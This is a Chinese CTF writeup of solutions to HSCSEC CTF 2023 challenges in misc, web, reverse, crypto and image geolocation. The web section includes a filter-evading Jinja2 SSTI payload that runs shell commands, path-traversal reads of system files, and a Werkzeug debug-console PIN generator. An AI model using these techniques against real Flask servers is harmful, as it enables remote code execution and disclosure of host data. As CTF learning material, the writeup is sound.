HSCSEC CTF 2th 2023 部分Writeup

HSCSEC CTF 2th 2023 部分Writeup

阅读提示

本文共3,357字,阅读大约需6分钟。

好难,只能水一些简单的题了(

比赛地址:https://race.hscsec.cn/challenges

[MISC] SIGNIN

关注公众号:中龙 红客突击队 发送:HSCCTF{TELLMEFLAG}获取flag!

根据提示,关注微信公众号,得到flag:

HSCSEC{W3Ic0m3_t0_HScCtF2tH}

[MISC] EZIMG

flag分为三段,使用010 Editor打开图片,发现文件末端有PNG图像的特征:
659a81c84c524ca091672cb6ed0fbcf2
提取,python倒序输出,得到图片(深色背景下有半透明文字)
111.png
2514f78a2459f670e531c87f6caacd62.png
根据图片内容知第一段flag:HSCSEC{p3G_h

接着,继续观察倒序的图片文件,得到01序列:

1100101011011011100000000
0100000111100011100000000
1000110111100010100000000
0011000101100001000000000
1001111110100110100000000
1101100010111111100000000
1100101011011000100000000
1101100011001010100000000
1101111110001010111100101
1101011011001000010110110
1101111000100101101100101
1100001111100100100101010
0100111101011000011110011
0100011010010100100000100
1111000100011001001010111
1101000010110110010100011
0010001110001110111110111
0000000001011011100000000
0000000010101010100000000
0000000011010001000000000
0000000001100010000000000
0000000000000111000000000
0000000001101011100000000
0000000001111110000000000
0000000001101001000000000

使用脚本生成二维码:

zo_data = """1100101011011011100000000
0100000111100011100000000
1000110111100010100000000
0011000101100001000000000
1001111110100110100000000
1101100010111111100000000
1100101011011000100000000
1101100011001010100000000
1101111110001010111100101
1101011011001000010110110
1101111000100101101100101
1100001111100100100101010
0100111101011000011110011
0100011010010100100000100
1111000100011001001010111
1101000010110110010100011
0010001110001110111110111
0000000001011011100000000
0000000010101010100000000
0000000011010001000000000
0000000001100010000000000
0000000000000111000000000
0000000001101011100000000
0000000001111110000000000
0000000001101001000000000"""

if __name__ == '__main__':
    # f = open(r"C:\Users\vvbbnn00\Desktop\desktop.png", "rb").read()
    # open(r"C:\Users\vvbbnn00\Desktop\desktop1.png", "wb").write(f[::-1])
    from PIL import Image

    MAX = 25
    pic = Image.new("RGB", (MAX, MAX))
    inp = "".join(zo_data.split("\n"))
    i = 0
    for y in range(0, MAX):
        for x in range(0, MAX):
            if inp[i] == '1':
                pic.putpixel((x, y), (0, 0, 0))
            else:
                pic.putpixel((x, y), (255, 255, 255))
            i = i + 1
    pic.show()

补全缺少的定位点,得到如下二维码:

2cd269a48032fcb63c5c1ed447cba623.png
扫码获得第二段flag:aQR_c0de_and

根据提示,将图片上传至https://www.toolscat.com/img/image-mask提取隐写信息,得到第三段flag:_3nc}

最终flag:

HSCSEC{p3G_haQR_c0de_and_3nc}

[WEB] EZSSTI

进入环境以后,以为与Werkzeug PIN有关,但实际上不用这么复杂。首先,你的运气要足够好,才能猜到在这个毫无提示的主页中,可以传入参数name,如果你的运气不够好,就会像笔者一样,尝试了无数的参数无功而返,怀疑人生(

传入name参数后,发现Welcome to the HSCSEC CTF 2023 HSCSEC CTF 2023可以根据传入内容的不同而修改,且存在SSTI注入漏洞,于是,可以构造payload

?name={{''.__class__.__bases__[0].__subclasses__()[80].__init__.__globals__['__builtins__'].eval("__import__('os').po"+"pen('ca"+"t /fl" + "ag').read()")}}

由于这里过滤了popencatflag等,因此可以简单拼接一下。
得到flag:

HSCSEC{fd92ad53-d8cd-41fa-8a40-0e5e3e91b7f6}

[WEB] EZSYFLASK

访问/view?filename=app.py查看源代码,发现存在路径穿越漏洞,尝试不携带参数访问,发现存在flask的debug模式页面,因此,可以计算PIN来获取console。笔者先尝试了网络上的PIN计算脚本,但是都没成功,后面发现可能和Werkzeug版本有关,分析代码可知,生成PIN大致需要

  • 网卡MAC地址:/sys/class/net/eth0/address
  • /etc/machine-id或者/proc/sys/kernel/random/boot_id,此处只取其一,若前者不存在,则尝试获取后者
  • /proc/self/cgroup中的CPUID
  • 运行python程序的用户名
  • flask模组的文件路径

通过路径穿越漏洞,我们可以轻松得到MAC地址machine-id;通过报错界面,我们可以得到flask模组文件的绝对路径;然而,/proc/selfcgroup在代码中被禁止,导致我们无法直接获得。
对于执行程序的用户,我们可以暴力枚举PID,找到python程序的PID,查看/proc/<PID>/environ即可,得到用户名为app;对于CPUID,除了cgroup之外,我们还可以从/proc/1/cpuset中找到。
得到上述所有信息后,即可生成PIN,代码如下:

import hashlib
import uuid
from itertools import chain

mac = '02:42:ac:02:01:50' # /sys/class/net/eth0/address
mac = int('0x' + mac.replace(':', ''), 16) # 1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup 或 cpuset
machine_id = b'7265fe765262551a676151a24c02b7b6'
cgroup = b'b511eedbf15d3d88b5c461e9e0beb2069e35635497f95d3af6be5b51b6f9ddb3'
modname = 'flask.app'
username = 'app'
file_path = '/usr/local/lib/python3.8/site-packages/flask/app.py'


def hash_pin(pin: str) -> str:
    return hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12]


def get_machine_id():
    def _generate():
        linux = b""

        # machine-id is stable across boots, boot_id is not.
        for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
            try:
                with open(filename, "rb") as f:
                    value = f.readline().strip()
            except OSError:
                continue

            if value:
                linux += value
                break

        # Containers share the same machine id, add some cgroup
        # information. This is used outside containers too but should be
        # relatively stable across boots.
        try:
            with open("/proc/self/cgroup", "rb") as f:
                linux += f.readline().strip().rpartition(b"/")[2]
        except OSError:
            pass

        return linux

    _machine_id = _generate()
    return machine_id + cgroup


def get_pin_and_cookie_name():
    """Given an application object this returns a semi-stable 9 digit pin
    code and a random key.  The hope is that this is stable between
    restarts to not make debugging particularly frustrating.  If the pin
    was forcefully disabled this returns `None`.

    Second item in the resulting tuple is the cookie name for remembering.
    """

    # This information only exists to make the cookie unique on the
    # computer, not as a security feature.
    probably_public_bits = [
        username,
        modname,
        'Flask',
        file_path,
    ]

    # This information is here to make it harder for an attacker to
    # guess the cookie name.  They are unlikely to be contained anywhere
    # within the unauthenticated debug page.
    private_bits = [str(mac), get_machine_id()]

    h = hashlib.sha1()
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, str):
            bit = bit.encode("utf-8")
        h.update(bit)
    h.update(b"cookiesalt")

    cookie_name = f"__wzd{h.hexdigest()[:20]}"

    # If we need to generate a pin we salt it a bit more so that we don't
    # end up with the same value and generate out 9 digits
    h.update(b"pinsalt")
    num = f"{int(h.hexdigest(), 16):09d}"[:9]
    rv = ''
    # Format the pincode in groups of digits for easier remembering if
    # we don't have a result yet.
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = "-".join(
                num[x: x + group_size].rjust(group_size, "0")
                for x in range(0, len(num), group_size)
            )
            break

    return rv, cookie_name


if __name__ == '__main__':
    print(get_pin_and_cookie_name())

解锁console后,输入__import__('os').popen('/readflag').read()获取flag:

HSCSEC{39fed8c7-8a74-4d0b-a90f-39b39972ddf9}

[REVERSE] DECOMPILEONEOONE

本题考查基础逆向,根据代码解密即可。解密代码如下:

#include <stdint.h>
#include <stdio.h>

int __cdecl main() {
	int i; // [rsp+Ch] [rbp-94h]
	__int64 v6[3]; // [rsp+10h] [rbp-90h]
	v6[0] = 0x5C797E8971697066LL;
	v6[1] = 0x8D83497D7F6F7A3DLL;
	v6[2] = 0x949DA8758277A9A5LL;
	char v7[] = "|M\x95\xb7";

	for ( i = 0; i <= 27; ++i ) {
		int c;
		if (i <= 23)
			c = *((char *)v6 + i);
		else
			c = *((char *)v7 + i - 24);
		if ( (i & 1) != 0 )
			c += i + 1;
		else
			c += i;
		c ^= (char)i + 1;
		c -= 3 * i + 1;
		printf("%c", c);
	}

}

得到flag:

flag{reV3rSe_1s_sucH_hanV1e}

[REVERSE] Whack-a-mole

本题考查Win32API的使用,查看源代码,可知:
13350615f2fe650fd3801f03bd38b2a4.png
Msg需为273wParam需为3lParam需为3301即可。
先运行待破解程序,然后运行如下代码:

#include <windows.h>
#include <stdio.h>

int main() {
	HWND target = NULL;
	target = FindWindowW(NULL, L"revme");
	if (target == NULL) {
		printf("error!");
		return -1;
	}
	printf("0x%x\n", target);
	HWND hbuttonbox = FindWindowEx(target, 0, NULL, "flag");
	printf("0x%x\n", hbuttonbox);
	PostMessageW(target, 273, 3, 3301);
}

得到flag:

w1n32_aPi_iS_FUn

[REVERSE] Base secrets

本题是一个换表的Base64,但笔者比较菜,找了半天只找到原文:
0bf81cdf67e9879004ea4d34bda50ba2.png
此处的 1k不属于原文,从.length=44可知。

hexZh3tyVXM3X2AwX35yM+IxRU1nkz5nmWdzhXdF7Qo=

那么,能否从已有的信息算出字母表呢?答案是肯定的。
根据尝试,我们可以确定,fla对应的Base64密文为hexZ,那么,我们可以以此为突破口,在内存中找到Base64编码后的数据。根据常识,我们知道,Base64会以3个字符为一组进行编码,因此,我们只需将所有需要的字符都构造一遍(实际上不需要这么多,只需要64个后6位不同的字符组即可),就能够推出字母表了,首先,在程序中添加断点,然后输入:

fla     !  "  #  $  %  &  '  (  )  *  +  ,  -  .  /  0  1  2  3  4  5  6  7  8  9  :  ;  <  =  >  ?  @  A  B  C  D  E  F  G  H  I  J  K  L  M  N  O  P  Q  R  S  T  U  V  W  X  Y  Z  [  \  ]  ^  _  `  a  b  c  d  e  f  g  h  i  j  k  l  m  n  o  p  q  r  s  t  u  v  w  x  y  z  {  |  }  ~

内存中查询hexZ,得到:
6641f0183d3b7584d9eecf5b6375e974.png
成功得到我们需要的内容,接着,只需编写脚本,即可反推出字母表:

import base64
import string

if __name__ == '__main__':
    for i in range(32, 127):
        print('  ', chr(i), sep='', end='')
    print()
    ret = ''.join("""I64YI64ZI64a
I64bI64cI64dI64e
I64fI64oI64pI64q
I64rI64sI64tI64u
I64vI64wI64xI64y
I64zI640I641I642
I643I64AI64BI64C
I64DI64EI64FI64G
I64HI654I655I656
I657I658I659I65+
I65-I65II65JI65K
I65LI65MI65NI65O
I65PI65QI65RI65S
I65TI65UI65VI65W
I65XI65gI65hI65i
I65jI65kI65lI65m
I65nI65YI65ZI65a
I65bI65cI65dI65e
I65fI65oI65pI65q
I65rI65sI65tI65u
I65vI65wI65xI65y
I65zI650I651I652
I653I65AI65BI65C
I65DI65EI65FI65G
7Qo=""".split("\n"))
    print(ret)
    index = 0
    alphabet = [c for c in range(32, 128)]
    dic = {}
    while index * 4 < len(ret):
        ch = ret[index * 4:(index + 1) * 4]
        key = ch[-1]
        bin_data = '0b' + bin(alphabet[index])[2:].zfill(8)[2:]
        index_data = int(bin_data, 2)
        if not dic.get(index_data):
            dic[index_data] = key
        index += 1
    print(dic)
    new_alphabet = b''
    for i in range(64):
        new_alphabet += dic[i].encode()
    STANDARD_ALPHABET = b'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
    DECODE_TRANS = bytes.maketrans(new_alphabet, STANDARD_ALPHABET)
    print(base64.b64decode("hexZh3tyVXM3X2AwX35yM+IxRU1nkz5nmWdzhXdF7Qo=".translate(DECODE_TRANS)))

运行得到flag:

flag{rUs7_n0_pr0b1EM_s0_yisey}

[REVERSE] Disco simulator

从程序附带的文件中可以看出,这是一个OpenGL程序,因此没有反编译的必要了,修改脚本文件即可。
打开程序,我们发现flag被挡住了,那么目的便很简单了:要么将前面的灯球去掉,要么修改自己的位置。
038381b574304054522c88bf0f3d751f.png

a2.do中,我们看到:

#version 330 core
layout (location = 0) in vec3 bb7;
layout (location = 1) in vec3 fr4;

out vec3 d4;
out vec3 s9;

uniform mat4 fdc;
uniform mat4 kkb;
uniform mat4 ojc;

void main()
{
    d4 = vec3(fdc * vec4(bb7, 1.0));
    s9 = fr4;  
    
    gl_Position = ojc * kkb * vec4(d4, 1.0);
}

其中的gl_Position = ojc * kkb * vec4(d4, 1.0);是突破口,表示当前的位置。经过微调,gl_Position = (ojc * kkb * vec4(d4, 0.195)) + vec4(14,0,0,0);可以看到flag的前半部分:
78772dfbfdc9691392466dc4147c095b.png
然后按照这个规律,每次在x偏移4单位,即可将flag拼出来:

flag{6yCvikD_oPEngLc0oL_g4Me}

[CRYPTO] EZRSA

题目代码:

from Crypto.Util.number import *
import gmpy2
m = 123

p = getPrime(1024)
q = getPrime(1024)
n = p * q
print('n =', n)
e = 0x10001
M = m * e * 1 * 2022 * p
c = pow(M, e, n)
print('c =', c)



# n = 16266043783454053154037197753138388613864200794483663334493856481522764684650995230938142916968470804276539967429581472897698022852787399956166067156691430593337430691851251036378709799238876668312530223697905925939542713491015517460139150765778057817475571231361809654951289718071760502692960235551663466242938669673675870151921605230499603814070711617511206013584605131901906195136038060653121164252894949526861390984185085201067988694831398388037080993820517447099157891181179389949333832439004857436617834100885739716577641892686620423154860716308518151628754780994043553863224363539879909831811888663875989774849
# c = 12716190507848578560760116589677996073721225715245215495257947887969923319693501568134141757778665747980229898129090929698368855086594836111461700857934476682700625486249555753323344759513528101651108919161794915999809784961533946922607642974500946026677116418317599095703217004064379100607278317877894742815660315660254853364776654303066021672567442581774299847661025422994141801987588151758971034155714424052693627277202951522779716696303237915400201362585413354036973117149974017434406560929491956957193491445847385625481870256240443170803497196783872213746269940877814806857222191433079944785910813364137603874411

由题可知,M=2022mep, n=pqM=2022mep,\ n=pq,因此,gcd(M,n)=pgcd(M, n)=p
得到ppqq自然也能解出,接下来就是常规的RSA

from Crypto.Util.number import long_to_bytes
from gmpy2 import *

e = 0x10001

c = 12716190507848578560760116589677996073721225715245215495257947887969923319693501568134141757778665747980229898129090929698368855086594836111461700857934476682700625486249555753323344759513528101651108919161794915999809784961533946922607642974500946026677116418317599095703217004064379100607278317877894742815660315660254853364776654303066021672567442581774299847661025422994141801987588151758971034155714424052693627277202951522779716696303237915400201362585413354036973117149974017434406560929491956957193491445847385625481870256240443170803497196783872213746269940877814806857222191433079944785910813364137603874411
n = 16266043783454053154037197753138388613864200794483663334493856481522764684650995230938142916968470804276539967429581472897698022852787399956166067156691430593337430691851251036378709799238876668312530223697905925939542713491015517460139150765778057817475571231361809654951289718071760502692960235551663466242938669673675870151921605230499603814070711617511206013584605131901906195136038060653121164252894949526861390984185085201067988694831398388037080993820517447099157891181179389949333832439004857436617834100885739716577641892686620423154860716308518151628754780994043553863224363539879909831811888663875989774849
p = gcd(c, n)
q = n // p
phi = (p - 1) * (q - 1)
d = invert(e, phi)

# M = m * e * 1 * 2022 * p
M = pow(c, d, n)
M //= e * 2022 * p

if __name__ == '__main__':
    print(long_to_bytes(M))


得到flag:

flag{3e5e2789a93a80615cc35edbff397c05}

注:本题也可以用RsaCtfTool

[CRYPTO] Operator

题目代码:

#!/bin/python3
from Crypto.Util.number import bytes_to_long, getPrime

FLAG = "*******************MASK****************"

# print(FLAG)
number1 = getPrime(512)
number2 = getPrime(1024)
print(number1)
result = FLAG * number1 % number2
print(result)

"""
Output:
11488359375916816818731868252559119400126174593041608170883818546254791846479664455120194350355087017477744828351806157930199157462913063513512421460678471
1890846045246997191702622225497063073251667816125412875121879991742654650976309481716690792328873189601779812108551290078049710826355501933349874438201643986975141068179879506727213209273645848165732801667704040761771
"""

乍一看number2不可知,实际上也没有知道的必要,因为位数差太多了,FLAG*number1大概率小于number2,因此只需要整除一下就行:

from Crypto.Util.number import long_to_bytes

n1 = 11488359375916816818731868252559119400126174593041608170883818546254791846479664455120194350355087017477744828351806157930199157462913063513512421460678471
c = 1890846045246997191702622225497063073251667816125412875121879991742654650976309481716690792328873189601779812108551290078049710826355501933349874438201643986975141068179879506727213209273645848165732801667704040761771

if __name__ == '__main__':
    print(long_to_bytes(c // n1))

得到flag:

flag{qMmZqWvmj70bBsCfmVLT}

[CRYPTO] EZVC

题目代码和解题代码放在一起了:

# -*- coding: utf-8 -*-

# alphabet = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!"#$%&\'()*+,-./:;<=>?@[\]^_`{|}~'
# key = 'HSC'
# # assert flag.startswith('HSCSEC{')
# flag_num_list = []
# c = []
# for item in flag:
#     flag_num_list.append(alphabet.find(item) + 1)
# key_num = alphabet.find(key) + 1
# for i in flag_num_list:
#     m = (i + key_num) % 94 - 1
#     if m == 0:
#         c.append("□")
#     c.append(alphabet[m-1:m])
# print("c = {}".format(''.join(c)))

flag = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!"#$%&\'()*+,-./:;<=>?@[\]^_`{|}~'
c = '□abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!"#$%&\'()*+,-./:;<=>?@[\]^_`{|}'

big_dic = {}
for index in range(len(c)):
    big_dic[c[index]] = flag[index]

cipher = 'GRBRDB`jg10ij2g01i,g201gi,2gi2,012igaigagi|'
for i in cipher:
    print(big_dic[i], end='')

if __name__ == '__main__':
    pass
# c = GRBRDB`jg10ij2g01i,g201gi,2gi2,012igaigagi|

简单来说,每一位都是一一对应的,因此只需要找到对应关系即可,暴力枚举一遍。

得到flag:

HSCSEC{kh21jk3h12j-h312hj-3hj3-123jhbjhbhj}

[MISC(社工)] Happy Lantern Festival

397d774e27a1a68cbd4e681565362e8e.png
根据横幅上的文字搜索,很快就能找到。

HSCSEC{新疆维吾尔自治区阿勒泰地区阿勒泰市五百里风情街}

[MISC(社工)] Beautiful Lake

96e2e9a94d5af649c9703fb9499084aa.png
突破口是右下角的文字,放大后是“宁夏理工学院”:
ade48c292e36eb4cabf296b998e3f56b.png

地图搜索可知,应该是星海湖,flag具体是啥忘记了,反正格式需要调一调:

HSCSEC{宁夏省石嘴山市大武口区星海湖}

[MISC(社工)] Apple Store

将图片上传百度识图,可以找到很相似的图片:
d954efd026e8cfebf78d101cda4a6b9b.png
但可惜来源在百度找不到,谷歌上传百度找到的这张图,可以知道图片来源于Getty Images,作者zhangpeng,能找到原图(写wp的时候找不到了,但找到了类似的):
61268666dae2a27ecff307667fd48d15.png
都能知道具体地址(格式可能需调整):

HSCSEC{北京市西城区西单北大街131号西单大悦城}

[MISC(社工)] Beautiful Park

谷歌识图第一个就是:
6eb495eb49cb42307020e96c6247de6e.png
翻译一下得到flag:

HSCSEC{河北省张家口市怀来县官厅水库国家湿地公园}

[MISC(社工)] Boat

百度识图得知是西湖:
14a397c9fbc36bb6eb4e2dae4558df4b.png
然后是试出西湖的正确地址:

HSCSEC{浙江省杭州市西湖区龙井路1号}
# CTF  WEB  MISC  CRYPTO  REVERSE  Writeup 

评论

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×